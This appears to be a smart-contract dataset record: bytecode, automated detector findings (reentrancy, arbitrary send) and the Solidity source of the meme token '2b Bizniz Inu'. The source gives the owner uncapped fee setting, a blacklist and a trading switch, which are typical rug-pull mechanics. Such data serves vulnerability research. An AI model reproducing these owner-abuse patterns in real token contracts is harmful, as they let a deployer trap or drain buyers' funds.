fff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157c91906131e5565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f090613185565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611669576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166090613045565b60405180910390fd5b600081116116ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a390613165565b60405180910390fd5b6116b4610b8c565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172257506116f2610b8c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c9257600f60179054906101000a900460ff1615611955573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117a457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117fe5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118585750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561195457600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661189e6113b6565b73ffffffffffffffffffffffffffffffffffffffff1614806119145750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118fc6113b6565b73ffffffffffffffffffffffffffffffffffffffff16145b611953576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194a906131c5565b60405180910390fd5b5b5b60105481111561196457600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a085750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a1157600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611abc5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611b125750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b2a5750600f60179054906101000a900460ff165b15611bd85742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611b7a57600080fd5b6001601154611b8991906133a2565b42611b94919061331b565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611be330610906565b9050600f60159054906101000a900460ff16158015611c505750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611c685750600f60169054906101000a900460ff165b15611c9057611c7681611f22565b60004790506000811115611c8e57611c8d47611db9565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d395750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d4357600090505b611d4f848484846122e1565b50505050565b6000838311158290611d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d949190613023565b60405180910390fd5b5060008385611dac91906133fc565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e0960028461229790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e34573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e8560028461229790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611eb0573d6000803e3d6000fd5b5050565b6000600654821115611efb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef290613085565b60405180910390fd5b6000611f0561230e565b9050611f1a818461229790919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f80577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fae5781602001602082028036833780820191505090505b5090503081600081518110611fec577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208e57600080fd5b505afa1580156120a2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120c69190612a6f565b81600181518110612100577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061216730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113be565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121cb959493929190613200565b600060405180830381600087803b1580156121e557600080fd5b505af11580156121f9573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561222f5760009050612291565b6000828461223d91906133a2565b905082848261224c9190613371565b1461228c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161228390613125565b60405180910390fd5b809150505b92915050565b60006122d983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612339565b905092915050565b806122ef576122ee61239c565b5b6122fa8484846123cd565b8061230857612307612598565b5b50505050565b600080600061231b6125aa565b91509150612332818361229790919063ffffffff16565b9250505090565b60008083118290612380576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123779190613023565b60405180910390fd5b506000838561238f9190613371565b9050809150509392505050565b60006008541480156123b057506000600954145b156123ba576123cb565b600060088190555060006009819055505b565b6000806000806000806123df8761260c565b95509550955095509550955061243d86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461267490919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506124d285600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126be90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251e8161271c565b61252884836127d9565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161258591906131e5565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506125e0683635c9adc5dea0000060065461229790919063ffffffff16565b8210156125ff57600654683635c9adc5dea00000935093505050612608565b81819350935050505b9091565b60008060008060008060008060006126298a600854600954612813565b925092509250600061263961230e565b9050600080600061264c8e8787876128a9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006126b683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d55565b905092915050565b60008082846126cd919061331b565b905083811015612712576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612709906130c5565b60405180910390fd5b8091505092915050565b600061272661230e565b9050600061273d828461221c90919063ffffffff16565b905061279181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126be90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6127ee8260065461267490919063ffffffff16565b600681905550612809816007546126be90919063ffffffff16565b6007819055505050565b60008060008061283f6064612831888a61221c90919063ffffffff16565b61229790919063ffffffff16565b90506000612869606461285b888b61221c90919063ffffffff16565b61229790919063ffffffff16565b9050600061289282612884858c61267490919063ffffffff16565b61267490919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128c2858961221c90919063ffffffff16565b905060006128d9868961221c90919063ffffffff16565b905060006128f0878961221c90919063ffffffff16565b905060006129198261290b858761267490919063ffffffff16565b61267490919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006129456129408461329a565b613275565b9050808382526020820190508285602086028201111561296457600080fd5b60005b85811015612994578161297a888261299e565b845260208401935060208301925050600181019050612967565b5050509392505050565b6000813590506129ad81613901565b92915050565b6000815190506129c281613901565b92915050565b600082601f8301126129d957600080fd5b81356129e9848260208601612932565b91505092915050565b600081359050612a0181613918565b92915050565b600081519050612a1681613918565b92915050565b600081359050612a2b8161392f565b92915050565b600081519050612a408161392f565b92915050565b600060208284031215612a5857600080fd5b6000612a668482850161299e565b91505092915050565b600060208284031215612a8157600080fd5b6000612a8f848285016129b3565b91505092915050565b60008060408385031215612aab57600080fd5b6000612ab98582860161299e565b9250506020612aca8582860161299e565b9150509250929050565b600080600060608486031215612ae957600080fd5b6000612af78682870161299e565b9350506020612b088682870161299e565b9250506040612b1986828701612a1c565b9150509250925092565b60008060408385031215612b3657600080fd5b6000612b448582860161299e565b9250506020612b5585828601612a1c565b9150509250929050565b600060208284031215612b7157600080fd5b600082013567ffffffffffffffff811115612b8b57600080fd5b612b97848285016129c8565b91505092915050565b600060208284031215612bb257600080fd5b6000612bc0848285016129f2565b91505092915050565b600060208284031215612bdb57600080fd5b6000612be984828501612a07565b91505092915050565b600060208284031215612c0457600080fd5b6000612c1284828501612a1c565b91505092915050565b600080600060608486031215612c3057600080fd5b6000612c3e86828701612a31565b9350506020612c4f86828701612a31565b9250506040612c6086828701612a31565b9150509250925092565b6000612c768383612c82565b60208301905092915050565b612c8b81613430565b82525050565b612c9a81613430565b82525050565b6000612cab826132d6565b612cb581856132f9565b9350612cc0836132c6565b8060005b83811015612cf1578151612cd88882612c6a565b9750612ce3836132ec565b925050600181019050612cc4565b5085935050505092915050565b612d0781613442565b82525050565b612d1681613485565b82525050565b6000612d27826132e1565b612d31818561330a565b9350612d41818560208601613497565b612d4a816135d1565b840191505092915050565b6000612d6260238361330a565b9150612d6d826135e2565b604082019050919050565b6000612d85601a8361330a565b9150612d9082613631565b602082019050919050565b6000612da8602a8361330a565b9150612db38261365a565b604082019050919050565b6000612dcb60228361330a565b9150612dd6826136a9565b604082019050919050565b6000612dee601b8361330a565b9150612df9826136f8565b602082019050919050565b6000612e11601b8361330a565b9150612e1c82613721565b602082019050919050565b6000612e34601d8361330a565b9150612e3f8261374a565b602082019050919050565b6000612e5760218361330a565b9150612e6282613773565b604082019050919050565b6000612e7a60208361330a565b9150612e85826137c2565b602082019050919050565b6000612e9d60298361330a565b9150612ea8826137eb565b604082019050919050565b6000612ec060258361330a565b9150612ecb8261383a565b604082019050919050565b6000612ee360248361330a565b9150612eee82613889565b604082019050919050565b6000612f0660118361330a565b9150612f11826138d8565b602082019050919050565b612f258161346e565b82525050565b612f3481613478565b82525050565b6000602082019050612f4f6000830184612c91565b92915050565b6000604082019050612f6a6000830185612c91565b612f776020830184612c91565b9392505050565b6000604082019050612f936000830185612c91565b612fa06020830184612f1c565b9392505050565b600060c082019050612fbc6000830189612c91565b612fc96020830188612f1c565b612fd66040830187612d0d565b612fe36060830186612d0d565b612ff06080830185612c91565b612ffd60a0830184612f1c565b979650505050505050565b600060208201905061301d6000830184612cfe565b92915050565b6000602082019050818103600083015261303d8184612d1c565b905092915050565b6000602082019050818103600083015261305e81612d55565b9050919050565b6000602082019050818103600083015261307e81612d78565b9050919050565b6000602082019050818103600083015261309e81612d9b565b9050919050565b600060208201905081810360008301526130be81612dbe565b9050919050565b600060208201905081810360008301526130de81612de1565b9050919050565b600060208201905081810360008301526130fe81612e04565b9050919050565b6000602082019050818103600083015261311e81612e27565b9050919050565b6000602082019050818103600083015261313e81612e4a565b9050919050565b6000602082019050818103600083015261315e81612e6d565b9050919050565b6000602082019050818103600083015261317e81612e90565b9050919050565b6000602082019050818103600083015261319e81612eb3565b9050919050565b600060208201905081810360008301526131be81612ed6565b9050919050565b600060208201905081810360008301526131de81612ef9565b9050919050565b60006020820190506131fa6000830184612f1c565b92915050565b600060a0820190506132156000830188612f1c565b6132226020830187612d0d565b81810360408301526132348186612ca0565b90506132436060830185612c91565b6132506080830184612f1c565b9695505050505050565b600060208201905061326f6000830184612f2b565b92915050565b600061327f613290565b905061328b82826134ca565b919050565b6000604051905090565b600067ffffffffffffffff8211156132b5576132b46135a2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133268261346e565b91506133318361346e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561336657613365613544565b5b828201905092915050565b600061337c8261346e565b91506133878361346e565b92508261339757613396613573565b5b828204905092915050565b60006133ad8261346e565b91506133b88361346e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156133f1576133f0613544565b5b828202905092915050565b60006134078261346e565b91506134128361346e565b92508282101561342557613424613544565b5b828203905092915050565b600061343b8261344e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134908261346e565b9050919050565b60005b838110156134b557808201518184015260208101905061349a565b838111156134c4576000848401525b50505050565b6134d3826135d1565b810181811067ffffffffffffffff821117156134f2576134f16135a2565b5b80604052505050565b60006135068261346e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561353957613538613544565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f53656373206d7573742062652067726561746572207468616e20300000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61390a81613430565b811461391557600080fd5b50565b61392181613442565b811461392c57600080fd5b50565b6139388161346e565b811461394357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e52c243a75d739da7026754969b5047343a3bc7330d6eb7fb554aaad7c6bf36c64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,026
0x69ece6146c1be094e66379f6827d787a2f0dcd7e
/** *Submitted for verification at Etherscan.io on 2022-04-01 */ /* https://t.me/bizniz2b https://twitter.com/elonmusk/status/1509690744746905638 Musk Tweet Token Play 1% Max transaction LP lock and Renounced Contract after Launch */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract biznizinu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "2b Bizniz Inu"; string private constant _symbol = "2b Bizniz"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xc4976D4cbA0e82afA419708D4213E8733afe5d15); address payable private _marketingAddress = payable(0xc4976D4cbA0e82afA419708D4213E8733afe5d15); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055d578063dd62ed3e1461057d578063ea1644d5146105c3578063f2fde38b146105e357600080fd5b8063a2a957bb146104d8578063a9059cbb146104f8578063bfd7928414610518578063c3c8cd801461054857600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b857600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027657806318160ddd146102ae57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611967565b610603565b005b34801561020a57600080fd5b5060408051808201909152600d81526c32622042697a6e697a20496e7560981b60208201525b60405161023d9190611a2c565b60405180910390